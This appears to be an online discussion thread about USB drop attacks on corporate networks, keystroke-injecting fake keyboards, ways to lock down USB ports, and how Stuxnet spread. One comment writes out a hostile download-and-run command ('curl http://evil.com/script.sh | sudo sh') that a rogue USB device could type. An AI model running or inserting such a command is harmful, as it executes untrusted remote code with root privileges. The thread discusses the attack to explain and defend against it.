At a previous employer (Fortune 500, not a software co.) the IT security team would sometimes seed the parking lots with thumb drives that were "infected" with a program that would phone home to them if plugged into a PC on the corporate network. IIRC there was a depressingly high (> 50%) rate of them being plugged in.

> the IT security team would sometimes seed the parking lots with thumb drives that were "infected" with a program that would phone home to them if plugged into a PC on the corporate network.

Which is clever, but given the current level of small scale integration you could just as easily hide the same exploits inside of a charging cable, a USB fan, or really any other small-form factor USB-pluggable gadget. The problem isn't them discriminating between "hacked" and "non-hacked" devices -- it's them plugging _anything_ non work related or issued into their USB ports.

Anecdotally, I heard of a toy radio control quadcopter belonging to western military personnel in Afghanistan that turned out to be trying to phone home to ${badguy} when they plugged it into a laptop to charge. This stuff is everywhere, and has been for years.

This is why I keep a large supply of "USB Condoms" (little dongles that short circuit the data, and allow charging/power only)

Product idea: internal condoms for every USB port on a business computer. Let employees charge their phones in USB ports or plug whatever in, data wires never connect - problem solved: Employees can charge their ${device} without risking security compromise of the host workstation.

How is that better than epoxy squirted into all unused ports of your existing computers while also distributing fast charging USB wall warts across the office like confetti? Even the good ones are relatively cheap, especially if bought in bulk. Relative to the cost of a desktop computer they're practically free.

(I'm genuinely surprised that the standard DELL and HP corporate workstation doesn't have its front USB ports deleted and its rear port access covered by a lockable metal cowl.)

How do you know the wall wart is not a fake one?

I noticed that with my mobile wifi (Huawei) which I generally leave plugged in, when my friend plugged in her Windows 10 tablet to the same power outlet (2 sockets), it suddenly noticed it as a new USB device. I don't ever plug anything in there except a charger for my bike light so had never noticed but I don't know if it has an autorun to install drivers they often do. Obviously the data wires are joined there..

How do you know your security guard is not a fake one?

At least on Dell, USB ports can be disabled in the BIOS (with separate options for front and rear ports). Disclaimer: I haven't tried to do it so I don't know if it actually works.

Caveat: you'll need to hire a lot more IT people because everyone in the company will be lined up out the door with complaints. "This computer doesn't work with my keyboard, I need a new one." "My mouse isn't working." "This computer won't read my flash drive and I have to get this file to accounting by 10:00!" "This computer isn't working with my pen tablet and the deadline for getting these graphics done is tomorrow!"

So you'll have to replace all of your intentionally-broken computers with good ones, which will cost a fortune on top of all the employees' lost work time and no one will want to buy the broken computers from you so you'll have to pay to have them scrapped.

Disabling USB ports, for example in the BIOS, is very common in larger corporations. Dell sell a secure cover to prevent access to the rear ports.

The person with the accounting data on a USB stick will get a formal reprimand for breaking the security policy.

You still need to hook up stuff to a computer - mice, keyboards, those weird 3D-mice our CAD people use, printers, and these days even displays are all attached to USB ports. And since the ports USB replaces have mostly gone, there is little alternative left.

At work, we keep a couple of power-socket-to-USB chargers around, if people want to charge their smartphone they can grab one. But simply disabling the USB ports on our users machines is not a realistic option at this point.

Wouldn’t everything then only charge at 100 mA?

No, shorting the data pins signals "this is a charger, you can charge as fast as you want, until it's so much current that the voltage starts to drop too much".

Except when the device is designed to prefer chargers from $vendor. LG was notorious for this some years back.

Which is totally redundant because that can be done on operating system level, but hey, bottled water is a huge industry too.

Epoxy can't break with a security update

you could warm it up and pick it out when soft though

Epoxy doesn't melt. It burns--at a temperature where your computer case starts melting.

Not if it's the right kind of epoxy...

USB drivers can still be vulnerable, though.

A previous employer would buy modified motherboards with the data traces removed/cut.

So these IT genuises at a Fortune 500 company were clever enough to test their employees' computer security acumen (and get the predicted result) but they weren't clever enough to simply block all use of USB mass storage devices on their corporate operating system distribution?

Surely by now all corporate desktops should be configured to not respond to any USB devices other than the generic HID for mouse and keyboard, plus a whitelist of approved devices (e.g. fingerprint readers, Yubikeys). Inserting a USB mass storage device into a corporate workstation should result in nothing. Plug-and-play shouldn't be triggered. The mass storage driver should not load.

The computer security industry for SMBs is like 95% theater and 5% actual practice.

Conducting that test produced something tangible for whoever made the purchasing decision: It clearly illustrated a need for the services rendered, did it in a way that offered job security to management by giving them license to assert the position over their subordinates, and established a metric by which to evaluate the security company's performance which can be easily, repeatably, and predictably improved over time.

It also checked a lot of boxes that will be useful in court if they ever need to prove that they weren't negligent on privacy and security, which is a form of insurance that has real measurable value when it comes to legal claims.

> The computer security industry for SMBs is like 95% theater and 5% actual practice.

I'd say it's 40% paranoid arse-covering by IT department heads, 35% whatever middle management incorrectly assumes to be current best practices, 20% ego-stroking by the CIO, and 5% sensible context-driven decision-making by IT front-line staff.

Those numbers sound a little thin on the bottom, but only a little. Maybe take 15% out of the CIO category and just throw it away, because they're usually very quick to turn on their underlings.

Trouble is that the same corporation has the following additional policies:

* A ban on mail attachments of certain types (excel, zip files...) * mailbox limits from the 1990’s (100MB or so) * a ban on Dropbox, Gdrive or any other file sharing service * No public facing sftp or similar * A web site so mired in red tape that it takes 6 months and a dozen approvals to get anything uploaded.

Often the USB drive or something similar is the only way for employees to actually do their jobs.

It seems the problem is bad corporate file sharing policies that are incorrectly validated as successful because the employees are using workarounds rather than pointing out its inadequacies.

One of many depressingly common pathologies in large organizations. The best way to ensure your infrastructure won't break is to ensure it's not used; whether or not that means people can do their job is a concern for a different department.

Welcome to the real world! :)

I have seen this kind of situation, too. It sucks, but if you play by the corporate rulebook and lobby for better rules, you will be either worn out or retired by the time those rules get updated.

In these situations the organization really should get box.com subscription (or Dropbox enterprise) and have file sharing with control, auditing and org policies.

Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh | sudo sh sleep alt+y.

Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.

I wonder if a big (Fortune 500) company could get HID devices which were customised so that only company owned devices could be plugged in.. it shouldn't be that hard to design such a device that would show up as a custom device then the installed driver would poke it in a crypto shielded way and it then provides the keyboard/mouse inputs. It can't simply do the standard 'detach and reattach as a HID' because otherwise then a HID would work..

Hm, perhaps.. is anything like that available already?

Please no, don't add DRM in keyboards.

Just leaking data requires no UAC!

I don't think I've ever heard of a company that actually does this in practice. I suspect it ends up simply being more trouble than it's actually worth. I know at that company the list of approved device would probably end up being dozens of pages long... and yeah, thumb drives and USB hard drives were used a decent amount, especially outside of IT.

Maybe someone needs to invent a USB-based thumb drive reader that only allows generic mass storage devices to be attached but does not work as a hub, rather as a proxy device.

Bonus points: don't mount the drive directly, instead connect it to a centralised server on the corporate network that scans for threats and mounts a sanitised version of the drive's contents as a network share.

Triple word score: audit everything contained on every drive and everything that is copied on and off.

Sell that for $200 per unit to Fortune 500 companies and paranoid government agencies worldwide... and you'll retire early.

Your triple word score is already handled by a dozen different companies doing endpoint security from advanced heuristics at the kernel level like Crowdstrike, or just filenames and hashes like Code42.

isnt that a NAS basically?

A consumer (i.e. workplace for people who don't know better) NAS is usually Linux with a few hard drives attached via a cheerful and brightly coloured web UI - occasionally useful, some way short of secure.

I expect someone sells hardened ultra-secure corporate NAS boxes, but I've never seen any in the wild.

The trouble is, the sort of people who would buy a pre-hardened NAS are also the sort of people who would be suspicious of a pre-built unit. I know for sure I wouldn't trust anything off the shelf, I'd take the base OS and build something around it.

Whoops, my tin-foil hat appears to have slipped.

Anecdote for anecdote, I have.

Work at a fortune 500 company, we're currently eliminating USB ports for data devices - but leaving them open for other devices that do not identify as media.

We are dragging people to a corporate cloud solution, however we are finding that the drive to cloud has severely underestimated the volume of data that people will sync across the network, and how much work is done outside official corporate systems and in Excel instead.

This is having 2 effects our network capacity is being drained, and users are reporting performance issues due to latency associated with poorly developed excel applications.

It's a pentesting technique, used to assess the level of effectiveness of user training.

While your final comment is accurate, it is impractical as usb mass storage is still required in many places. Also, you can't effectively block HID, and an attacker can use HID disguised as or in a thumb drive to successfully attack a network.

I’m not sure I understand what the big deal is unless your machine tries to run software automatically from devices that are plugged into it. If you plug something into a centOS machine it’s not going to be able to do anything until you mount it and even then why would code be able to run from it?

Well for starters, if you’re curiously plugging it in, you’re going to mount it aren’t you?

Second, it can emulate an HID keyboard device and type keystrokes faster than you can react and pull it out, at which point it’s far too late - it’s pulled a secondary payload down or mounted a USB mass storage device and you’re owned.

You got me at the emulate a keyboard thing. Now I’m thinking that you shouldn’t plug strange keyboards or mice in because they could have an onboard payload. The crash cart at a data center is kind of a dumb idea in a way except the place is full of cameras usually

You're absolutely correct.

You know those little desk fans that come with a USB now and also an adapter to plug into the electrical outlet. I don't plug those into my laptops ever - who knows if there's a payload on them.

I will say this. I currently work, and have worked at, a few secret and top secret facilities - and the number of people I see plugging those (and similar) devices into their laptops is scary.

> the number of people I see plugging those (and similar) devices into their laptops is scary.

If such a device is able to cause a compromise / incident in a secure facility, well, several different "failures" at several different levels have occurred in order for it to get to that point.

Yeah, it irks me that this is seen a "stupid users" problem when our OSes are programmed to automatically execute code on a USB stick. I don't think the users are the stupid ones in this scenario.

> If you plug something into a centOS machine it’s not going to be able to do anything until you mount it ...

You may want to double check your CentOS desktop's defaults (you might be surprised).

My most critical machines have a file named /etc/modprobe.d/disabled.conf with entries such as these for dozens of filesystems, network protocols, and such:

  install usb-storage /bin/false
  install vfat /bin/false

When absolutely required, they can quickly be temporarily commented out (but not by mistake) and there's some very extensive auditing rules that keep an eye on things at that point.

It's really not that hard to lock a machine down and yet still have it actually remain usable. With the exceptions of the few security-focused distributions (Qubes OS, Tails, etc.), I can't think of any Linux distribution / desktop environment that even comes remotely close to doing anything like that (OOTB) by default, though.

Proof of concept: https://samy.pl/poisontap/

Reading through the sequence of what that does... nasty piece of work that. And kind of brilliant.

...because there are still bugs being found in the USB handling code that can occasionally be exploited for code execution.

A lot of IT security teams do this. On one side it is depressing, but on another side it is annoying to have to hear them talk about it every staff meeting. All companies seem to have people with zero understanding of computers and will fall for anything. I wonder how effective the education is. I guess if it prevents one attack it can pay for itself.

> it is annoying to have to hear them talk about it every staff meeting

Aren't you shooting the messenger?

Only a little bit. Most IT CyberSecurity teams can use bad stats to justify their value and additional staff, so they want to bring it up at every opportunity.

I don't necessarily disagree, but power users often get frustrated by red tape applied to everyone and not just those who consistently misuse their computer privileges.

I was at a financial software firm that dealt with USB security issues by filling the USB sockets with epoxy. The keyboard and mouse could not be removed from their USB sockets as they were held in place with a metal collar bolted to the case.

Simple and effective, although it destroyed any resale value of the PCs.

Do businesses (other than super small startups) actually sell their old hardware? Genuinely curious.

In my company (Fortune 500), we get new notebooks every 3 years and IT persistently pesters owners of old notebooks to return them. Given the sheer number of devices, I can imagine a reselling contract to be a nice additional source of income.

In this company's case the PCs were the cheapest of the cheap. Bottom end Dell and HP stuff.

when they were life expired they were given over to a recycling company, whom I assume would take the time to pick the epoxy out of the USB sockets or probably just replace them. I think buying new USB sockets and connecting ribbons to the motherboards is probably quite cheap these days

In the US, above a certain size you're basically required to sell off the old hardware because throwing it away counts as polluting, and the people who dispose of exclusively tech stuff charge you for that service.

Yep, look on eBay for sellers that specialize in refurbishing them. It's a great way to get something like an older Thinkpad for really cheap. Perfect for a Linux laptop that doesn't need the latest and greatest.

That's shocking. I know people are dopey, but 50%? I'd have guessed 20% at most.

Never underestimate the distribution of stupid. I worked at a hardware / software company where management distributed USB drives as a reward for something or other. The USB drives weren't even in blister packs they were just loose in plastic envelopes. I threw mine out, and wrote a complaint.

Companies routinely distribute software/presentations/etc. on USB drives. I suppose it's poor security hygiene these days but it's still routine.

Especially when stupid is an observable attribute in the industry.

Time and time again the technology industry has failed to consider security as a serious issue, never mind develop systems that are robust and transparent.

We don't have botnets, booby-trapped mail attachments, script-hackable servers, USB drives that can carry a viral payload, and all the rest because users are stupid, but because the industry's default culture is to think of security as an esoteric side issue, and not a non-negotiable critical feature in all IT systems.

More specifically, they tend to view it as a cost center that does nothing to increase profits.

Thing #1 to remember if you're in infosec is that you must pitch it based on the money saved by not having expensive problems like having to hire outside consultants and auditors after a breach.

I would guess that some people may try more than one, or if there are lots of people and few thumbs given time someone more gullible will try them.

This is how stuxnet got into the Natanz facility I think. They left a usb stick in the parking lot. Someone picked it up, plugged it in.

No, iirc stuxnet spread itself without anyone physically leaving a USB stick anywhere. On a system infected via the network, it would try to infect any USB drives connected to the system.

Stuxnet is fascinating. Still, as far as I can tell, the most complex, interesting malware ever found in the wild. I believe it's unclear how stuxnet found its way into the enrichment facilities.

It did contain a USB device exploit delivering a dropper with a completely separate payload specifically targeted at the Natanz facility. A compromised USB device picked up in the parking lot would do the trick, but there are certainly other ways to get something through the front door and that information is unlikely to be public knowledge any time soon.

I do remember reading about that. It exploited a bug in windows to load an executable when the usb was plugged in. It then installed a usermode rootkit and hid its files.

I likely got the "parking lot" impression from Alex Gibney's Zero Days, but it's been a few years since that came out.

It probably got in via usb in the parking lot, but there hasn't been an official statement that I know of. It was confirmed that the hack into the DHS intranet was done by USB stick in the parking lot.

Natanz was air gapped. Stuxnet penetrated the facility on a phisical device, once inside it spread over the LAN. The Widespread distribution of it on the open Internet was because of a bug in the code.

> The Widespread distribution of it on the open Internet was because of a bug in the code.

It's presumed that the Israelis got a little bit greedy and, even though it was doing it's job, tried to make the virus do it's job a little better. They made it more virulent which made it spread outside of the systems it was only targeted to spread to.

My understanding is that stuxnet got out of Natanz, by mistake. The world was never supposed to see that code. It was planted inside the Natanz secure perimeter.

Well, certain versions of stuxnet were sent to Natanz suppliers first, and I believe the infection made it out into the world from one of these suppliers, not Natanz itself.

If you lack physical access to the parking lot, the classy way to launch your cyber attack is by miniature trebuchet.

previously, the "pwn plug": https://www.google.com/search?client=ubuntu&channel=fs&q=pwn...

This is why, as much as I hate it most of the time, it's a good idea not to have your devs with access to your network setup. If your a small shop, limit the access as much as reasonably possible.

Emphasis on reasonable. If you limit workers' access too much for them to do their jobs they will find creative workarounds. Some of those can be more dangerous than just giving them the access that they need in a way that you control. Examples being if you make it so that the only way developers can debug a system is by adding in backdoors, or if you lock down the network so much that they need to use an unsecured public network to do their work. I've seen those things happen. Developers and IT need to work together, not be adversaries.

> Developers and IT need to work together, not be adversaries.

This.